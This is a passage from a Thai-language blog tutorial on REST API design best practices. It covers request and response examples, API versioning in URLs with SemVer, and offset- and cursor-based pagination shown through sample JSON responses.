&#xE21;&#xE35; Request Body</p><pre><code>{
    &quot;email&quot;: &quot;nuttachot@example.com&quot;
}</code></pre><p>- &#xE21;&#xE35; Response Body</p><pre><code>{
    &quot;id&quot;: 123,
    &quot;name&quot;: &quot;&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;&quot;,
    &quot;email&quot;: &quot;nuttachot@example.com&quot;,
    &quot;created_at&quot;: &quot;2023-01-01T12:00:00Z&quot;,
    &quot;updated_at&quot;: &quot;2024-08-28T15:00:00Z&quot;
}</code></pre><p>- &#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Cache &#xE44;&#xE14;&#xE49;<br>- <strong>&#xE17;&#xE33;&#xE0B;&#xE49;&#xE33;&#xE41;&#xE25;&#xE49;&#xE27;&#xE2D;&#xE32;&#xE08;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE15;&#xE48;&#xE32;&#xE07;&#xE2D;&#xE2D;&#xE01;&#xE44;&#xE1B; </strong>&#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE01;&#xE32;&#xE23; Update &#xE2D;&#xE32;&#xE08;&#xE02;&#xE36;&#xE49;&#xE19;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE01;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;&#xE43;&#xE19; Resource &#xE19;&#xE31;&#xE49;&#xE19; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE48;&#xE32; (Increment) &#xE43;&#xE19; Field &#xE08;&#xE33;&#xE19;&#xE27;&#xE19; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23; Update Field &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE36;&#xE49;&#xE19;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30; &#xE16;&#xE49;&#xE32; Resource &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE43;&#xE19;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE04;&#xE33;&#xE02;&#xE2D;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE41;&#xE23;&#xE01;&#xE41;&#xE25;&#xE30;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE2D;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE32;&#xE08;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE01;&#xE31;&#xE19;<br>- Service Layer Method &#xE40;&#xE0A;&#xE48;&#xE19; update()</p><p><strong><em>API Design Best Practices</em></strong></p><p><strong>1. API Versioning</strong></p><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE38;&#xE13;&#xE2A;&#xE21;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE43;&#xE2B;&#xE21;&#xE48; &#xE46; &#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A; API &#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE4D;&#xE32;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; API &#xE40;&#xE23;&#xE32;&#xE08;&#xE4D;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE23;&#xE1A;&#xE01;&#xE27;&#xE19;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32; &#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Version &#xE02;&#xE2D;&#xE07; API &#xE17;&#xE35;&#xE48;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;&#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE07;&#xE48;&#xE32;&#xE22;&#xE08;&#xE30;&#xE2B;&#xE25;&#xE35;&#xE01;&#xE40;&#xE25;&#xE35;&#xE48;&#xE22;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE1A;&#xE2A;&#xE19;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;</p><p>&#xE2B;&#xE32;&#xE01;&#xE40;&#xE23;&#xE32;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE0A;&#xE37;&#xE48;&#xE2D; Field &#xE40;&#xE14;&#xE34;&#xE21;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE23;&#xE30;&#xE1A;&#xE1A; Version &#xE41;&#xE25;&#xE49;&#xE27; Application &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; API &#xE2D;&#xE32;&#xE08;&#xE2B;&#xE22;&#xE38;&#xE14;&#xE17;&#xE4D;&#xE32;&#xE07;&#xE32;&#xE19;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE02;&#xE49;&#xE32;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;&#xE01;&#xE31;&#xE1A; Application &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49; API Version &#xE40;&#xE01;&#xE48;&#xE32; &#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30; Update Application &#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE4D;&#xE32;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; API Version &#xE43;&#xE2B;&#xE21;&#xE48;</p><p>&#xE40;&#xE23;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE25;&#xE02; Version &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07; URL &#xE44;&#xE14;&#xE49; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE41;&#xE25;&#xE30;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14; &#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE2B;&#xE47;&#xE19; Version &#xE44;&#xE14;&#xE49;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;&#xE43;&#xE19; URL</p><p>&#xE15;&#xE33;&#xE41;&#xE2B;&#xE19;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07; Version &#xE2D;&#xE32;&#xE08;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE0A;&#xE37;&#xE48;&#xE2D; Resource &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D; Resource &#xE40;&#xE0A;&#xE48;&#xE19;</p><p>&#xE2D;&#xE22;&#xE39;&#xE48;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE0A;&#xE37;&#xE48;&#xE2D; Resource &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Version &#xE01;&#xE31;&#xE1A; API &#xE2B;&#xE25;&#xE32;&#xE22;&#xE15;&#xE31;&#xE27;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;</p><pre><code>https://myapi.com/api/v1/users</code></pre><p>&#xE2D;&#xE22;&#xE39;&#xE48;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D; Resource &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Version &#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1A;&#xE32;&#xE07; Resource</p><pre><code>https://myapi.com/api/users/v1</code></pre><p>&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Version &#xE02;&#xE2D;&#xE07; API &#xE2D;&#xE35;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE04;&#xE37;&#xE2D; Semantic Versioning Specification (SemVer) &#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; 3 &#xE2A;&#xE48;&#xE27;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE01; &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; Version 3.0.0</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/version.png" class="kg-image" alt loading="lazy" width="1454" height="480" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/version.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/version.png 1000w, https://blog.pjjop.org/content/images/2024/09/version.png 1454w" sizes="(min-width: 720px) 720px"></figure><p><strong>Major</strong> &#xE04;&#xE37;&#xE2D; Version &#xE2B;&#xE25;&#xE31;&#xE01;<br><strong>Minor</strong> &#xE04;&#xE37;&#xE2D; Version &#xE23;&#xE2D;&#xE07;<br><strong>Patch</strong> &#xE04;&#xE37;&#xE2D; Version &#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE22;&#xE48;&#xE2D;&#xE22;</p><p>&#xE01;&#xE32;&#xE23; Update <strong>Major </strong>Version &#xE43;&#xE0A;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;<strong>&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE01;&#xE34;&#xE14;&#xE04;&#xE27;&#xE32;&#xE21;&#xE44;&#xE21;&#xE48;&#xE40;&#xE02;&#xE49;&#xE32;&#xE01;&#xE31;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE2D;&#xE23;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE40;&#xE01;&#xE48;&#xE32;</strong> (Breaking Change) &#xE40;&#xE0A;&#xE48;&#xE19;&#xE08;&#xE32;&#xE01; 3.0.0 &#xE40;&#xE1B;&#xE47;&#xE19; 4.0.0</p><p>&#xE01;&#xE32;&#xE23; Update <strong>Minor </strong>Version &#xE43;&#xE0A;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE32;<strong>&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Feature &#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48;&#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE02;&#xE49;&#xE32;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;&#xE01;&#xE31;&#xE1A; Version &#xE40;&#xE01;&#xE48;&#xE32;</strong> (Backward Compatible Feature) &#xE40;&#xE0A;&#xE48;&#xE19;&#xE08;&#xE32;&#xE01; 3.0.0 &#xE40;&#xE1B;&#xE47;&#xE19; 3.1.0</p><p>&#xE01;&#xE32;&#xE23; Update <strong>Patch </strong>&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;<strong>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE02;&#xE49;&#xE2D;&#xE1A;&#xE01;&#xE1E;&#xE23;&#xE48;&#xE2D;&#xE07;&#xE17;&#xE35;&#xE48;&#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE02;&#xE49;&#xE32;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;&#xE01;&#xE31;&#xE1A; Version &#xE40;&#xE01;&#xE48;&#xE32;</strong> (Backward Compatible Defect Fix) &#xE40;&#xE0A;&#xE48;&#xE19;&#xE08;&#xE32;&#xE01; 3.1.0 &#xE40;&#xE1B;&#xE47;&#xE19; 3.1.1</p><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> SemVer &#xE16;&#xE39;&#xE01;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE21;&#xE32;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Version &#xE02;&#xE2D;&#xE07; Software Library &#xE41;&#xE25;&#xE30; OS &#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32; API &#xE42;&#xE14;&#xE22;&#xE17;&#xE31;&#xE48;&#xE27;&#xE44;&#xE1B; &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Major<strong> </strong>Version &#xE40;&#xE0A;&#xE48;&#xE19; v1 &#xE41;&#xE25;&#xE30; v2 &#xE01;&#xE47;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE1E;&#xE2D;&#xE41;&#xE25;&#xE30;&#xE07;&#xE48;&#xE32;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;</p><p><strong>2. Pagination</strong></p><p>&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; API &#xE01;&#xE32;&#xE23;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE2B;&#xE19;&#xE49;&#xE32; (Pagination) &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A; Resource &#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;</p><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE17;&#xE04;&#xE19;&#xE34;&#xE04;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE2B;&#xE19;&#xE49;&#xE32; 3 &#xE41;&#xE1A;&#xE1A; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; Offset-based, Cursor-based &#xE41;&#xE25;&#xE30; Page-based</p><p><strong>Offset-based</strong><br>&#xE43;&#xE0A;&#xE49; Parameter &quot;offset&quot; &#xE41;&#xE25;&#xE30; &quot;limit&quot; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE08;&#xE38;&#xE14;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE41;&#xE25;&#xE30;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; &#xE40;&#xE0A;&#xE48;&#xE19; GET /api/v1/products?offset=0&amp;limit=2</p><p><strong>offset</strong> &#xE04;&#xE37;&#xE2D; &#xE15;&#xE33;&#xE41;&#xE2B;&#xE19;&#xE48;&#xE07;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE02;&#xE2D;&#xE07; Resource &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23; Query &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; (offset=0 &#xE2B;&#xE21;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE08;&#xE32;&#xE01;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE41;&#xE23;&#xE01;)<br><strong>limit</strong> &#xE04;&#xE37;&#xE2D; &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;</p><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;<br>id 1001, name &quot;&#xE42;&#xE19;&#xE49;&#xE15;&#xE1A;&#xE38;&#xE4A;&#xE01; A&quot;, price 30000<br>id 1002, name &quot;&#xE2A;&#xE21;&#xE32;&#xE23;&#xE4C;&#xE17;&#xE42;&#xE1F;&#xE19; B&quot;, price 15000<br>id 1003, name &quot;&#xE41;&#xE17;&#xE47;&#xE1A;&#xE40;&#xE25;&#xE47;&#xE15; C&quot;, price 20000<br>id 1004, name &quot;&#xE2B;&#xE39;&#xE1F;&#xE31;&#xE07; D&quot;, price 5000<br>id 1005, name &quot;&#xE01;&#xE25;&#xE49;&#xE2D;&#xE07; E&quot;, &#xE23;&#xE32;&#xE04;&#xE32;: 25000</p><p>&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE41;&#xE23;&#xE01; GET /api/v1/products?offset=0&amp;limit=2</p><pre><code>{
  &quot;products&quot;: [
    {&quot;id&quot;: 1001, &quot;name&quot;: &quot;&#xE42;&#xE19;&#xE49;&#xE15;&#xE1A;&#xE38;&#xE4A;&#xE01; A&quot;, &quot;price&quot;: 30000},
    {&quot;id&quot;: 1002, &quot;name&quot;: &quot;&#xE2A;&#xE21;&#xE32;&#xE23;&#xE4C;&#xE17;&#xE42;&#xE1F;&#xE19; B&quot;, &quot;price&quot;: 15000}
  ],
  &quot;total&quot;: 5,
  &quot;next_offset&quot;: 2
}</code></pre><p>&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE2D;&#xE07; GET /api/v1/products?offset=2&amp;limit=2</p><pre><code>{
  &quot;products&quot;: [
    {&quot;id&quot;: 1003, &quot;name&quot;: &quot;&#xE41;&#xE17;&#xE47;&#xE1A;&#xE40;&#xE25;&#xE47;&#xE15; C&quot;, &quot;price&quot;: 20000},
    {&quot;id&quot;: 1004, &quot;name&quot;: &quot;&#xE2B;&#xE39;&#xE1F;&#xE31;&#xE07; D&quot;, &quot;price&quot;: 5000}
  ],
  &quot;total&quot;: 5,
  &quot;next_offset&quot;: 4
}</code></pre><p>&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21; GET /api/v1/products?offset=4&amp;limit=2</p><pre><code>{
  &quot;products&quot;: [
    {&quot;id&quot;: 1005, &quot;name&quot;: &quot;&#xE01;&#xE25;&#xE49;&#xE2D;&#xE07; E&quot;, &quot;price&quot;: 25000}
  ],
  &quot;total&quot;: 5,
  &quot;next_offset&quot;: null
}</code></pre><p><strong>&#xE02;&#xE49;&#xE2D;&#xE14;&#xE35;</strong> &#xE07;&#xE48;&#xE32;&#xE22;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;<br><strong>&#xE02;&#xE49;&#xE2D;&#xE40;&#xE2A;&#xE35;&#xE22;</strong> &#xE2D;&#xE32;&#xE08;<strong>&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; offset &#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;</strong></p><p><strong>Cursor-based</strong><br>&#xE43;&#xE0A;&#xE49;&#xE15;&#xE31;&#xE27;&#xE0A;&#xE35;&#xE49; (cursor) &#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE15;&#xE33;&#xE41;&#xE2B;&#xE19;&#xE48;&#xE07;&#xE43;&#xE19; Resource &#xE21;&#xE31;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE0B;&#xE49;&#xE33;&#xE01;&#xE31;&#xE19; &#xE40;&#xE0A;&#xE48;&#xE19; ID &#xE02;&#xE2D;&#xE07;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE38;&#xE14;&#xE17;&#xE49;&#xE32;&#xE22;&#xE43;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19; &#xE40;&#xE0A;&#xE48;&#xE19; GET /api/v1/products?limit=2&amp;cursor=1004</p><p><strong>limit </strong>&#xE04;&#xE37;&#xE2D; &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE15;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE49;&#xE32;<br><strong>cursor</strong> &#xE04;&#xE37;&#xE2D; &#xE15;&#xE33;&#xE41;&#xE2B;&#xE19;&#xE48;&#xE07;&#xE43;&#xE19; Resource &#xE21;&#xE31;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE0B;&#xE49;&#xE33;&#xE01;&#xE31;&#xE19;</p><p>&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE41;&#xE23;&#xE01; GET /api/v1/products?limit=2</p><pre><code>{
  &quot;products&quot;: [
    {&quot;id&quot;: 1001, &quot;name&quot;: &quot;&#xE42;&#xE19;&#xE49;&#xE15;&#xE1A;&#xE38;&#xE4A;&#xE01; A&quot;, &quot;price&quot;: 30000},
    {&quot;id&quot;: 1002, &quot;name&quot;: &quot;&#xE2A;&#xE21;&#xE32;&#xE23;&#xE4C;&#xE17;&#xE42;&#xE1F;&#xE19; B&quot;, &quot;price&quot;: 15000}
  ],
  &quot;next_cursor&quot;: &quot;1002&quot;
}</code></pre><p>&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE2D;&#xE07;: GET /api/v1/products?limit=2&amp;cursor=1002</p><pre><code>{
  &quot;products&quot;: [
    {&quot;id&quot;: 1003, &quot;name&quot;: &quot;&#xE41;&#xE17;&#xE47;&#xE1A;&#xE40;&#xE25;&#xE47;&#xE15; C&quot;, &quot;price&quot;: 20000},
    {&quot;id&quot;: 1004, &quot;name&quot;: &quot;&#xE2B;&#xE39;&#xE1F;&#xE31;&#xE07; D&quot;, &quot;price&quot;: 5000}
  ],
  &quot;next_cursor&quot;: &quot;1004&quot;
}</code></pre><p>&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;: GET /api/v1/products?limit=2&amp;cursor=1004</p><pre><code>{
  &quot;products&quot;: [
    {&quot;id&quot;: 1005, &quot;name&quot;: &quot;&#xE01;&#xE25;&#xE49;&#xE2D;&#xE07; E&quot;, &quot;price&quot;: 25000}
  ],
  &quot;next_cursor&quot;: null
}</code></pre><p><strong>&#xE02;&#xE49;&#xE2D;&#xE14;&#xE35;</strong> &#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;<br><strong>&#xE02;&#xE49;&#xE2D;&#xE40;&#xE2A;&#xE35;&#xE22;</strong> 